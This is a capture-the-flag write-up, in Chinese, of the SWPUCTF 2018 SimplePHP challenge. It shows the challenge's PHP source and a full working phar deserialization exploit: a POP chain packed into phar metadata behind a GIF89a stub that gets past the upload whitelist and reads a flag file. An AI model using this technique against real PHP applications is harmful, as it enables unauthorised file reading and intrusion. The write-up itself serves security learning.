[SWPUCTF 2018]SimplePHP
利用查看文件页面进行文件读取,找到关键源码:
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); }
}
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } }
}
?>
文件后缀白名单过滤,文件上传地址"upload/" .md5($_FILES[“file”][“name”].$_SERVER[“REMOTE_ADDR”]).“.jpg”
class.php
<?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>
源码中提示了使用phar协议。
phar 文件的概念及结构
概念:phar(PHP Archive)是 PHP 里类似于 Java 中 jar 的一种打包文件,它可以把多个 PHP 文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。
结构:phar 文件由四部分组成。一是 stub,即文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。二是 manifest,用于存储压缩文件属性等信息,以序列化形式存储,这也是反序列化攻击的关键部分。三是 contents,即被压缩文件的内容。四是 signature,为签名,放在文件末尾,用于验证 Phar 文件的完整性,是可选部分。
phar 伪协议的用途
访问归档文件中的文件:通过指定 phar 文件的路径来访问其中包含的文件,例如,phar://path/to/archive.phar/file.txt可以访问归档文件archive.phar中的file.txt。
读取归档文件中的内容:可以像读取普通文件一样使用file_get_contents()或fopen()等函数来读取 phar 归档文件中的内容。
执行归档文件中的代码:使用include或require等 PHP 包含文件的函数来执行 phar 归档文件中的 PHP 代码,这也是利用 phar:// 协议进行文件上传漏洞攻击的关键。
phar 伪协议的安全风险
当服务器端应用程序接受用户上传的文件并未进行充分验证时,攻击者可能会利用 phar 伪协议进行攻击。攻击者可以构造恶意的 phar 文件,在其中包含 PHP 代码,然后将文件名伪装成其他类型的文件扩展名,例如image.png*(依赖文件内容中的特定标识而不是后缀名来识别phar文件)*。一旦服务器端应用程序接受并存储了这个文件,攻击者可以通过请求绕过文件类型验证,然后再通过 phar:// 协议来访问该文件,导致 PHP 解析并执行该文件中嵌入的恶意代码,从而使攻击者能够在服务器上执行任意的操作或获取敏感信息。
这里虽然没有include或者require执行代码,但是存在魔术方法,在解析phar数据并进行反序列化时会自动执行。
因此我们只需要构造出反序列化语句,再打包放入phar文件的manifest中,修改后缀名绕过过滤。
利用C1e4r的__destruct()中echo $this->test 唤醒 Show的__tostring()中的$this->str[‘str’]->source 唤醒Test中的__get()读取flag.php。
$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';
echo serialize($a);
然后是将其放入phar文件中
// 创建一个名为 phar.phar 的 Phar 归档文件对象
$phar = new Phar("phar.phar"); // 开始缓冲操作(所有修改先暂存,不立即写入文件)
$phar->startBuffering();// 设置 Phar 文件的"伪装头"和执行标记
// "GIF89a"是 GIF 图片的文件头,用于让文件被识别为图片(绕过文件类型检测)
// "<?php __HALT_COMPILER(); ?>"是 Phar 必须的执行标记,告诉 PHP 这是可解析的 Phar 包
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // 向 Phar 包添加"隐藏的元数据"(核心数据)
// $a 是一个变量,其内容会被序列化后存储(读取时会自动反序列化)
// 元数据不显示为文件,需通过专门方法读取,常用于存储描述信息或(在特殊场景中)恶意代码
$phar->setMetadata($a); // 向 Phar 包添加一个"实体文件"(结构必需)
// 文件名是 exp.txt,内容是 test(仅作为占位符,让 Phar 格式有效)
// 这个文件是 Phar 包的"可见内容",类似 ZIP 里的文件,用于维持归档的基本结构
$phar->addFromString("exp.txt", "test"); // 结束缓冲,将所有修改(元数据、实体文件、伪装头)写入到 phar.phar 文件中
$phar->stopBuffering();
payload:
<?php
class C1e4r
{public $test;public $str;
}class Show
{public $source;public $str;
}
class Test
{public $file;public $params;
}$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();?>
再修改后缀名并上传.
用源码中的方式生成文件位置应该是upload/md5('phar.jpg222.90.67.205')
.jpg
upload/296091de1a585b89c3c237bad67ee2fc.jpg
但是实际位置并不是这个。访问/upload可以看到文件位置:

利用phar:// 访问该文件即可得到flag。
总结
利用文件读取获得源码,关键在于用phar反序列化结合文件上传读取flag。